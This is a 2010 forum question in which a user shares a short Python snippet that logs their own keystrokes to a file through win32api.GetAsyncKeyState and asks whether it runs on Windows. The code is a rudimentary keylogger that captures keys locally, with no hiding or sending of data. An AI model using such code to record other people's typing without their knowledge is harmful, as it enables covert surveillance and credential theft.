By using this site, you agree to our updated Privacy Policy and our Terms of Use. Manage your Cookies Settings.
440,630 Members | 1,313 Online
Bytes IT Community
+ Ask a Question
Need help? Post your question and get tips & solutions from a community of 440,630 IT Pros & Developers. It's quick & easy.

Keylogger in Python

P: 16
Hello, I was wondering about events and that kind of things, so I decided to do a program that would listen to my keystrokes.
The (core) code is the following:
Expand|Select|Wrap|Line Numbers
  1. while 1:
  2.     keyAscii = 0
  3.     for i in range(32, 256):
  4.         key_log = win32api.GetAsyncKeyState(i)
  5.         if key_log == -32767:
  6.             print i
  7.             key_end = 81
  8.             keylog_file.write(chr(i))
  9.             if i == key_end:
  10.                 keylog_file.close()
  11.                 keyin = open("cv","r")
Where cv is the file
I made this with a lot of help of google, but as I use linux, i don't know if this would work in windows.
Will it?
Won't it?

Thank you very much
Dec 8 '10 #1
Share this question for a faster answer!
Share on Google+

Post your reply

Sign in to post your reply or Sign up for a free account.